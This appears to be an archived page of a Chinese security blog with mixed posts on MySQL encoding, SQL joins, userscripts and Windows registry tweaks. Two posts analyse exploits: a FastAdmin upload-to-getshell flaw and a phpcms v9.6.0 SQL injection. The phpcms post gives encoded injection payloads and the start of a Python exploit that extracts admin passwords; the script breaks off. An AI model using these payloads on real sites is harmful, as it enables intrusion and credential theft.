emlog 6.0特别版的BUG些

声明:本文仅供爱好者折腾参阅,且由于我这是我很久之前的手记,如有遗漏,表意不明的请多包涵。

一点关于安装出现错误编号2002的可能办法:

emlog_mysql_error_2002.png 

emlog_install.png

第一个就是发文章标签打不上之数据库标签表 emlog_tag

emlog5.3.1升级过来或者是自己瞎折腾后发现发文章标签打不上或者没了的多半是这个原因。


gid 的值 开头和结尾必须是 英文逗号 不然 问的标签 不能存入 且...


Mrxn 发布于 2020-10-21 16:49

fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析

0x1.简介

FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。

补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。

影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta

修复建议:

升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:

https://www.fastadmin.net/download.html

0x2.漏洞详情

利用限制:需要开启会员中心功能,且登录会员中心。

/application/config.php 文件中:

  //是否开启前台会员中心
    'usercenter'            => true,

漏洞分析

/application/index/User.php 文件

第58-67行:

public function _empty($name)
    {    
        $data = Hook::listen("user_request_empty", $name);
            foreach ($data as $index => $datum) {
            $this->view->assign($datum);
            }
    return $this->view->fetch($name);
}

user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);

此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。

fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容

fetch() 函数的关键内容如下:

public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }
        // 模板不存在 抛出异常
        if (!is_file($template)) {
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);
    }

继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。

总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell

另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:

1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:

is_file.png

is_file_linux.png


2、在linux下, is_file() 函数判可用于判断符号链接

3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false

4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致

is_file_d.png

is_file_d2.png


5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败

0x3.漏洞验证

通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。

利用过程如下:

在前台的会员中心,个人资料处,上传修改头像:

headpic.png

抓包后修改图片数据(满足图片头格式即可):

bp_head.png

记录下路径后,成功getshell

getshell.png

在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:

linux.png

当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:

linux2.png

最后感谢 @joseph 师傅提供的漏洞点,又学习了一波

文章出自:https://forum.90sec.com/t/topic/1294

作者:https://forum.90sec.com/u/panda

大家可以投稿90注册啊!给你们投票!哈哈哈


Mrxn 发布于 2020-9-21 22:57

【译】Mysql 中的 "utf8" 编码是个假的 utf-8,请使用 True utf-8 编码:"utf8mb4"

注:以下文章为译文,也是我最近遇到的MySQL问题,故摘抄在此做备用,如有侵权,请联系我,我会立即处理。
最近我遇到了一个 bug,我试着通过 Rails 在以“utf8”编码的 MariaDB 中保存一个 UTF-8 字符串,然后出现了一个离奇的错误:

Incorrect string value: ‘\xF0\x 9F \x 98 \x 83 <…’ for column ‘summary’ at row 1


我用的是 UTF-8 编码的客户端,服务器也是 UTF-8 编码的,数据库也是,就连要保存的这个字符串“ <…”也是合法的 UTF-8。

问题的症结在于,MySQL 的“utf8”实际上不是真正的 UTF-8。

“utf8”只支持每个字符最多三个字节,而真正的 UTF-8 是每个字符最多四个字节。

MySQL 一直没有修复这个 bug,他们在 2010 年发布了一个叫作“utf8mb4”的字符集,绕过了这个问题。

当然,他们并没有对新的字符集广而告之(可能是因为这个 bug 让他们觉得很尴尬),以致于现在网络上仍然在建议开发者使用“utf8”,但这些建议都是错误的。

简单概括如下:

  • MySQL 的“utf8mb4”是真正的“UTF-8”。

  • MySQL 的“utf8”是一种“专属的编码”,它能够编码的 Unicode 字符并不多。

我要在这里澄清一下:所有在使用“utf8”的 MySQL 和 MariaDB 用户都应该改用“utf8mb4”,永远都不要再使用“utf8”。

那么什么是编码?什么是 UTF-8?

我们都知道,计算机使用 0 和 1 来存储文本。比如字符“C”被存成“01000011”,那么计算机在显示这个字符时需要经过两个步骤:

  1. 计算机读取“01000011”,得到数字 67,因为 67 被编码成“01000011”。

  2. 计算机在 Unicode 字符集中查找 67,找到了“C”。

同样的:

  1. 我的电脑将“C”映射成 Unicode 字符集中的 67。

  2. 我的电脑将 67 编码成“01000011”,并发送给 Web 服务器。

几乎所有的网络应用都使用了 Unicode 字符集,因为没有理由使用其他字符集。

Unicode 字符集包含了上百万个字符。最简单的编码是 UTF-32,每个字符使用 32 位。这样做最简单,因为一直以来,计算机将 32 位视为数字,而计算机最在行的就是处理数字。但问题是,这样太浪费空间了。

UTF-8 可以节省空间,在 UTF-8 中,字符“C”只需要 8 位,一些不常用的字符,比如“”需要 32 位。其他的字符可能使用 16 位或 24 位。一篇类似本文这样的文章,如果使用 UTF-8 编码,占用的空间只有 UTF-32 的四分之一左右。

MySQL 的“utf8”字符集与其他程序不兼容,它所谓的“”,可能真的是一坨……

MySQL 简史

为什么 MySQL 开发者会让“utf8”失效?我们或许可以从提交日志中寻找答案。

MySQL 从 4.1 版本开始支持 UTF-8,也就是 2003 年,而今天使用的 UTF-8 标准(RFC 3629)是随后才出现的。

旧版的 UTF-8 标准(RFC 2279)最多支持每个字符 6 个字节。2002 年 3 月 28 日,MySQL 开发者在第一个 MySQL 4.1 预览版中使用了 RFC 2279。

同年 9 月,他们对 MySQL 源代码进行了一次调整:“UTF8 现在最多只支持 3 个字节的序列”。

是谁提交了这些代码?他为什么要这样做?这个问题不得而知。在迁移到 Git 后(MySQL 最开始使用的是 BitKeeper),MySQL 代码库中的很多提交者的名字都丢失了。2003 年 9 月的邮件列表中也找不到可以解释这一变更的线索。

不过我可以试着猜测一下。

2002 年,MySQL 做出了一个决定:如果用户可以保证数据表的每一行都使用相同的字节数,那么 MySQL 就可以在性能方面来一个大提升。为此,用户需要将文本列定义为“CHAR”,每个“CHAR”列总是拥有相同数量的字符。如果插入的字符少于定义的数量,MySQL 就会在后面填充空格,如果插入的字符超过了定义的数量,后面超出部分会被截断。

MySQL 开发者在最开始尝试 UTF-8 时使用了每个字符 6 个字节,CHAR(1) 使用 6 个字节,CHAR(2) 使用 12 个字节,并以此类推。

应该说,他们最初的行为才是正确的,可惜这一版本一直没有发布。但是文档上却这么写了,而且广为流传,所有了解 UTF-8 的人都认同文档里写的东西。

不过很显然,MySQL 开发者或厂商担心会有用户做这两件事:

  1. 使用 CHAR 定义列(在现在看来,CHAR 已经是老古董了,但在那时,在 MySQL 中使用 CHAR 会更快,不过从 2005 年以后就不是这样子了)。

  2. 将 CHAR 列的编码设置为“utf8”。

我的猜测是 MySQL 开发者本来想帮助那些希望在空间和速度上双赢的用户,但他们搞砸了“utf8”编码。

所以结果就是没有赢家。那些希望在空间和速度上双赢的用户,当他们在使用“utf8”的 CHAR 列时,实际上使用的空间比预期的更大,速度也比预期的慢。而想要正确性的用户,当他们使用“utf8”编码时,却无法保存像“”这样的字符。

在这个不合法的字符集发布了之后,MySQL 就无法修复它,因为这样需要要求所有用户重新构建他们的数据库。最终,MySQL 在 2010 年重新发布了“utf8mb4”来支持真正的 UTF-8。

为什么这件事情会让人如此抓狂

因为这个问题,我整整抓狂了一个礼拜。我被“utf8”愚弄了,花了很多时间才找到这个 bug。但我一定不是唯一的一个,网络上几乎所有的文章都把“utf8”当成是真正的 UTF-8。

“utf8”只能算是个专有的字符集,它给我们带来了新问题,却一直没有得到解决。

总结

如果你在使用 MySQL 或 MariaDB,不要用“utf8”编码,改用“utf8mb4”。这里(https://mathiasbynens.be/notes/mysql-utf8mb4#utf8-to-utf8mb4)提供了一个指南用于将现有数据库的字符编码从“utf8”转成“utf8mb4”。

英文原文:https://medium.com/@adamhooper/in-mysql-never-use-utf8-use-utf8mb4-11761243e434 

原文作者:Adam Hooper 

翻译原文:https://www.infoq.cn/article/in-mysql-never-use-utf8-use-utf8 

译文作者:无明


Mrxn 发布于 2019-5-13 23:37

「更新」油猴脚本---freebuf文章图片去除!small并自动缩放图片大小到100%

我之前写过一篇文章是关于freebuf文章图片去除!small得,地址在这里:https://mrxn.net/jswz/modify_freebuf_pic.html,但是后来我发现有一个BUG,很严重得那种:因为我当时在写插件的时候是在文章全部浏览完后直接写得,这也就导致了我当时忽略了 freebuf 的图片是懒加载的,这样的话如果还是像我之前那样直接去除图片 src 末尾的 !small ,会导致没有在第一屏内的图片不会被渲染出来!so ,趁着这次五一国际劳动节放假当天,我就来更新来了!本次更新重新设计了一下,就是取消掉了那个小标签添加,在文章页面禁用了lazyload加载,当你读文章慢慢往下滚动的时候就可以自动去除图片末尾的 !small 了,而且回自动修改图片的宽度属性到 100% (受父节点限制,不会撑爆的),尽可能的显示图片大小从而方便阅读。脚本演示

Greasy Fork 在线下载安装

Github地址:https://github.com/Mr-xn/modify_freebuf_pic


Mrxn 发布于 2019-5-1 16:38

B站源码泄露后续-GO代码行数、网警锁定、关键词过滤、人气倍率、真假播放量、作弊粉丝数

继上一篇博文-B站(bilibili)后端源码泄露,我们可以从中了解多少信息安全知识和代码里的有趣信息 ,这篇B站源码泄露后续-GO代码行数、网警锁定、关键词过滤、人气倍率、真假播放量、作弊粉丝数是后续的补充,吃瓜看看就好!你懂的,不能多说自己心里明白就好。

其中GO语言代码行数大概在350万行左右GO代码行数

有关网警锁定的相关代码片段:

网警锁定

网警锁定

有关人气倍数的代码片段:

人气倍数

键词过滤片段代码

关键词过滤

关键词过滤关键词过滤



有关作弊粉丝量、作弊播放量代码片段

作弊粉丝量、作弊播放量


有关B站源码泄露的原因(真假不定,自行斟酌)-一开发的女票被上司睡了!开发不能忍,就做了这个事情。。。不明智啊!默念三遍:冲动是魔鬼!B站源码泄露原因-路边消息.jpg


Mrxn 发布于 2019-4-23 21:49

关于SQL中join的各种用法总结

首先声明:文章来源于国外的 codeproject 我这里只是由于复习SQL的时候需要就Google搜索[可以用我个人搭建的Google搜索供大家搜索文章学习使用]了一下,找到这篇文章,再次做个简单的记录同时也方便以后的有缘人,如有侵权的地方还请来信注明,感谢原文的作者的勤劳付出,留下如此详细全面的关于SQL的join的用法。

codeproject是国外一个免费的可以公开自己写的代码与程序的优秀网站有点类似于GitHub只不过是社区版,在这个网站所有用户都可以发布自己写过的代码,程序,或者是详细的文档说明。比国内的cnblog、csdn都要好,如果要说缺点的话,就是全英文的,当然大部分还是比较容易理解的。但是codeproject也有中文区: https://www.codeproject.com/Forums/1580230/General-Chinese-Topics.aspx ,感兴趣的可以去注册玩。

我们先用一张图来看一下 LEFT JOIN、RIGHT JOIN、INNER JOIN、OUTER JOIN 等七种 join 相关的用法:

Visual_SQL_JOINS_orig.jpg

下面分开说明这七种用法,先说第一种:

1.INNER JOIN(内连接)

INNER_JOIN.png



这是最简单,最容易理解的Join,也是最常见的。此查询将返回左表(表A)中右表(表B)中都具有匹配记录的所有记录(共同拥有的相同的部分)。此Join用法的代码大致如下:

SELECT <select_list> 
FROM Table_A A
INNER JOIN Table_B B
ON A.Key = B.Key

2.LEFT JOIN(左连接)

LEFT_JOIN.png

LEFT JOIN 关键字会从左表 (table_name1) 那里返回所有的行,即使在右表 (table_name2) 中没有匹配的行。此Join用法的代码大致如下:

SELECT <select_list>
FROM Table_A A
LEFT JOIN Table_B B
ON A.Key = B.Key

3.RIGHT JOIN(右连接)

RIGHT_JOIN.png 

RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。此Join用法的代码大致如下:

SELECT <select_list>
FROM Table_A A
RIGHT JOIN Table_B B
ON A.Key = B.Key

4.OUTER JOIN(外连接)

FULL_OUTER_JOIN.png 

FULL OUTER JOIN 关键字只要左表(table1)和右表(table2)其中一个表中存在匹配,则返回行. FULL OUTER JOIN 关键字结合了 LEFT JOIN 和 RIGHT JOIN 的结果。此Join用法的代码大致如下:

SELECT <select_list>
FROM Table_A A
FULL OUTER JOIN Table_B B
ON A.Key = B.Key

5.LEFT JOIN EXCLUDING INNER JOIN(左连接-内连接)

LEFT_EXCLUDING_JOIN.png 

此查询将返回左表(表A)中与右表(表B)中的任何记录都不匹配的所有记录。此Join的编写如下:

SELECT <select_list> 
FROM Table_A A
LEFT JOIN Table_B B
ON A.Key = B.Key
WHERE B.Key IS NULL

6.RIGHT JOIN EXCLUDING INNER JOIN(右连接-内连接)

RIGHT_EXCLUDING_JOIN.png 

此查询将返回右表(表B)中与左表(表A)中的任何记录都不匹配的所有记录。此Join的编写如下:

SELECT <select_list>
FROM Table_A A
RIGHT JOIN Table_B B
ON A.Key = B.Key
WHERE A.Key IS NULL

7.OUTER JOIN EXCLUDING INNER JOIN(外连接-内连接)

OUTER_EXCLUDING_JOIN.png 



此查询将返回左表(表A)中的所有记录以及右表(表B)中都不匹配的所有记录。我还没有需要使用这种类型的Join,但是其他的类型,我经常使用。此Join的编写如下:

SELECT <select_list>
FROM Table_A A
FULL OUTER JOIN Table_B B
ON A.Key = B.Key
WHERE A.Key IS NULL OR B.Key IS NULL

下面举一些例子:

假设我们有两个表,Table_A和Table_B。这些表中的数据如下所示:
TABLE_A
  PK Value
---- ----------
   1 FOX
   2 COP
   3 TAXI
   6 WASHINGTON
   7 DELL
   5 ARIZONA
   4 LINCOLN
  10 LUCENT

TABLE_B
  PK Value
---- ----------
   1 TROT
   2 CAR
   3 CAB
   6 MONUMENT
   7 PC
   8 MICROSOFT
   9 APPLE
  11 SCOTCH
这七种连接方式的结果如下所示:
-- INNER JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
       B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
INNER JOIN Table_B B
ON A.PK = B.PK

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
   1 FOX        TROT          1
   2 COP        CAR           2
   3 TAXI       CAB           3
   6 WASHINGTON MONUMENT      6
   7 DELL       PC            7

(5 row(s) affected)
-- LEFT JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
LEFT JOIN Table_B B
ON A.PK = B.PK

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
   1 FOX        TROT          1
   2 COP        CAR           2
   3 TAXI       CAB           3
   4 LINCOLN    NULL       NULL
   5 ARIZONA    NULL       NULL
   6 WASHINGTON MONUMENT      6
   7 DELL       PC            7
  10 LUCENT     NULL       NULL

(8 row(s) affected)
-- RIGHT JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
RIGHT JOIN Table_B B
ON A.PK = B.PK

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
   1 FOX        TROT          1
   2 COP        CAR           2
   3 TAXI       CAB           3
   6 WASHINGTON MONUMENT      6
   7 DELL       PC            7
NULL NULL       MICROSOFT     8
NULL NULL       APPLE         9
NULL NULL       SCOTCH       11

(8 row(s) affected)
-- OUTER JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
FULL OUTER JOIN Table_B B
ON A.PK = B.PK

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
   1 FOX        TROT          1
   2 COP        CAR           2
   3 TAXI       CAB           3
   6 WASHINGTON MONUMENT      6
   7 DELL       PC            7
NULL NULL       MICROSOFT     8
NULL NULL       APPLE         9
NULL NULL       SCOTCH       11
   5 ARIZONA    NULL       NULL
   4 LINCOLN    NULL       NULL
  10 LUCENT     NULL       NULL

(11 row(s) affected)
-- LEFT EXCLUDING JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
LEFT JOIN Table_B B
ON A.PK = B.PK
WHERE B.PK IS NULL

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
   4 LINCOLN    NULL       NULL
   5 ARIZONA    NULL       NULL
  10 LUCENT     NULL       NULL
(3 row(s) affected)
-- RIGHT EXCLUDING JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
RIGHT JOIN Table_B B
ON A.PK = B.PK
WHERE A.PK IS NULL

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
NULL NULL       MICROSOFT     8
NULL NULL       APPLE         9
NULL NULL       SCOTCH       11

(3 row(s) affected)
-- OUTER EXCLUDING JOIN
SELECT A.PK AS A_PK, A.Value AS A_Value,
B.Value AS B_Value, B.PK AS B_PK
FROM Table_A A
FULL OUTER JOIN Table_B B
ON A.PK = B.PK
WHERE A.PK IS NULL
OR B.PK IS NULL

A_PK A_Value    B_Value    B_PK
---- ---------- ---------- ----
NULL NULL       MICROSOFT     8
NULL NULL       APPLE         9
NULL NULL       SCOTCH       11
   5 ARIZONA    NULL       NULL
   4 LINCOLN    NULL       NULL
  10 LUCENT     NULL       NULL

(6 row(s) affected)
注:原文连接:https://www.codeproject.com/Articles/33052/Visual-Representation-of-SQL-Joins

Mrxn 发布于 2019-4-17 20:58

写个了油猴脚本-freebuf文章图片去除!small

写这个脚本的原因就是我发现freebuf的文章里的图片后缀都会跟一个 !small 后缀,我想网站初心可能是为了对付爬虫吧,恶意爬虫爬去文章文字和图片,但是对于我这种懒虫,不喜欢点击一下放大去看图,而是比较喜欢文章的图片就是页面最佳尺寸,简单的研究了一下,发现去掉文章里的图片的 !small 后缀后,文章图片默认就会显示最佳尺寸了!简直Nice啊!但是每次这么去手动修改太麻烦了,如果文章图片太多,那岂不是要累死?于是这个脚本就出来了!效果如下的动图演示:
去除 freebuf 文章!small 演示动图

使用:前提是在油猴脚本支持的浏览器(比如chrome,Firefox这些现代浏览器),在油猴插件里面自己粘贴我发布在GitHub仓库的代码或者是从Greasy Fork 在线下载安装 (强烈推荐)


Mrxn 发布于 2019-4-14 22:38

【实用reg文件分享】设置cmd为utf-8&在此处打开CMD&让 Windows 时钟显示精确到秒

【实用reg文件分享】设置cmd为utf-8&在此处打开CMD&让 Windows 时钟显示精确到秒

在实际使用中,我们经常需要使用cmd处理一些小东西,比如解密脚本啊等:cmd默认的编码方式不支持utf-8的,会乱码:

shotpic_2018-10-30_20-57-05.jpg

这时候如果我们使用命令:chcp 65001 即可让cmd命令行支持utf-8的编码格式,就不会乱码了:

shotpic_2018-10-30_20-56-12.jpg

在我解决这个问题之前,Google了好久,结果是有很多文章看得我是云里雾里。。。不知所云。最后还是找到了一些零散的信息,最终通过实践验证,加上Google查资料,于是就自己写了个注册表文件导入后就可以安心食用了。下载文件我放在最后,代码也会贴出来。

还有另外两个注册表文件,一个是【在此处打开CMD】另一个是【让 Windows 时钟显示精确到“秒”】。

在此处打开CMD】 主要是方便我们直接在某个文件夹直接打开cmd并且不用去cd切换路径。效果如下:

addcmdhere.gif

【让 Windows 时钟显示精确到“秒”】顾名思义:让Windows的时钟显示秒数。效果如下:

seconds.gif




下面就是代码:

Windows Registry Editor Version 5.00

;# -*- coding: utf-8 -*-
;# @Author: Mrxn
;# @Blog: https://mrxn.net/
;# @DateTime: 2018-10-30 20:25:51 Tuesday
;# @Description: this is the default description for Mrxn
;#
;
; 下载【cmd-utf-8_seconds.zip】
;【解压!】【解压!】【解压!】重要的事说三遍!
; 解压后,进入 【cmd-utf-8_seconds】文件夹,双击 【设置cmd为utf-8.reg】弹出的对话框按次序选择 【是】【是】【确定】即可。
; 打开你的cmd.exe 输入 chcp 回车 看到如下类似的信息就表明成功了,以后每次打开cmd就都支持utf-8编码了
; Active code page: 65001
; C:\WINDOWS\system32>chcp
; Active code page: 65001
; C:\WINDOWS\system32>
; 注意:作者在Windows10 1803 中测试没问题。

;第一个是设置chcp 65001(十六进制),but,貌似没用啥作用
[HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmd.exe]
"CodePage"=dword:0000fde9
"FaceName"="Lucida Console"

;真正起作用的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"autorun"="chcp 65001"

;设置字体的,不喜欢的可以删除或者是修改成自己喜欢的字体(前提是你的电脑里面有这个字体)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont]
"936"="*Lucida Console"

;小伙砸,看你骨骼精奇,都看到这里了没来我博客逛逛啊 --->https://mrxn.net<

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\OpenCmdHere]
@="在此处打开命令提示符"
"Icon"="cmd.exe"

[HKEY_CLASSES_ROOT\Directory\shell\OpenCmdHere\command]
@="cmd.exe /s /k pushd "%V""

[HKEY_CLASSES_ROOT\Directory\Background\shell\OpenCmdHere]
@="在此处打开命令窗口"
"Icon"="cmd.exe"

[HKEY_CLASSES_ROOT\Directory\Background\shell\OpenCmdHere\command]
@="cmd.exe /s /k pushd \"%V\""

[HKEY_CLASSES_ROOT\Drive\shell\OpenCmdHere]
@="在此处打开命令窗口"
"Icon"="cmd.exe"

[HKEY_CLASSES_ROOT\Drive\shell\OpenCmdHere\command]
@="cmd.exe /s /k pushd \"%V\""

[HKEY_CLASSES_ROOT\LibraryFolder\background\shell\OpenCmdHere]
@="在此处打开命令窗口"
"Icon"="cmd.exe"

[HKEY_CLASSES_ROOT\LibraryFolder\background\shell\OpenCmdHere\command]
@="cmd.exe /s /k pushd \"%V\""

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSecondsInSystemClock"=dword:00000001

[HKEY_CURRENT_USER\Control Panel\International]
"sLongDate"="yyyy '年' M '月' d '日' dddd"
"sShortDate"="yyyy '年' M '月' d '日' dddd"
"sTimeFormat"="HH:mm:ss"
"sShortTime"="HH:mm:ss"
"sYearMonth"="yyyy '年' M '月'"

附件下载:cmd-utf-8_seconds.7z



PS:这周就会更新 kms脚本宝塔面板开启域名SSL登录脚本,感谢发邮件反馈bug的朋友。


Mrxn 发布于 2018-10-30 22:10

宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题

PS:最近因为工作原因,很忙,没时间写博客,各位读者,当你们每次打开都没有更新的时候,给你们说一声抱歉。

Onekey-Open-BT-panel-ssl-with-domain

宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题,强迫症福音@[email protected]

  • 注意 :

目前使用此shell需要你在宝塔后台面板里面建一个需要绑定到面板的域名网站,最好申请Let's SSL证书,当然,shell也支持自定义证书路径。 只测试了建立网站后的,没有测试过不用建立网站,直接解析域名到服务器(这种未来会支持的,使用 acme.sh 来申请SSL证书或者是自定义证书都可以)

推荐一个可以检查shell语法的网站,超级好用.也可以安装到自己的机器上: shellcheck

shotpic_2018-08-22_12-54-16.png

使用方法:

  • 直接wget到本地执行就可以根据提示操作了:
wget https://raw.githubusercontent.com/Mr-xn/Onekey-Open-BT-panel-ssl-with-domain/master/Onekey-Open-BT-panel-ssl-with-domain.sh && bash Onekey-Open-BT-panel-ssl-with-domain.sh
  • ToDo
  •  支持自定义证书
  •  不需要宝塔后台添加域名
  •  添加宝塔常用命令:重置面板密码、重置封禁IP列表、更改端口等等

Mrxn 发布于 2018-8-22 14:25

shell编程报错:“syntax error near unexpected token `”

因为测试exp...在Kali测试正常....不小心在windows下用sublime编辑了一下...再去linux运行就出错了..

运行报错syntax error near unexpected token `..

左看右看shell脚本没有问题,没有办法google搜索,发现一位仁兄讲的挺好,内容如下:

      用命令vi -b 打开你的SHELL脚本文件,你会。发现每行脚本最后多了个^M。

  那么接下来就要搞清楚这个^M是什么东东?

  long long ago.....  老式的电传打字机使用两个字符来另起新行。一个字符把滑动架移回首位 (称为回车,<CR>,ASCII码为0D),另一个字符把纸上移一行 (称为换行, <LF>,ASCII码为0A)。当计算机问世以后,存储器曾经非常昂贵。有些人就认定没必要用两个字符来表示行尾。UNIX 开发者决定他们可以用 一个字符来表示行尾,Linux沿袭Unix,也是<LF>。Apple 开发者规定了用<CR>。开发 MS-DOS以及Windows 的那些家伙则决定沿用老式的<CR><LF>。

  因为MS-DOS及Windows是回车+换行来表示换行,因此在Linux下用Vim查看在Windows下用VC写的代码,行尾后的“^M”符号,表示的是符。

  在Vim中解决这个问题,很简单,在Vim中利用替换功能就可以将“^M”都干掉,键入如下替换命令行:

  1)vi -b setup.sh

  2)在命令编辑行<就是: 按ESC键 然后shift+:冒号>输入:%s/^M//g

  注意:上述命令行中的“^M”符,不是“^”再加上“M”,而是由“Ctrl+v”、“Ctrl+M”键生成的。

  这样替换掉以后,保存就可以执行了。当然还有其他的替换方式比如:

  a.一些linux版本有 dos2unix 程序,可以用来祛除^M。

  b.cat filename1 | tr -d "/r" > newfile 去掉^M生成一个新文件,还有sed命令等,凡是可以替换的命令都是可以用来新生成一个文件的。

      按照上面所说的,删除^M后 ,shell脚本就运行正常.切记.sh脚本不要再Windows下编辑...各种诡异的错误...

PS:另外小计一下在测试exp时候,

执行curl -sSL 提示curl: (35) SSL connect error ,解决方法----

升级网络安全服务即可(centos):  yum update nss.




Mrxn 发布于 2017-5-6 09:19

phpcms_v9.6.0_sql注入与exp

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'
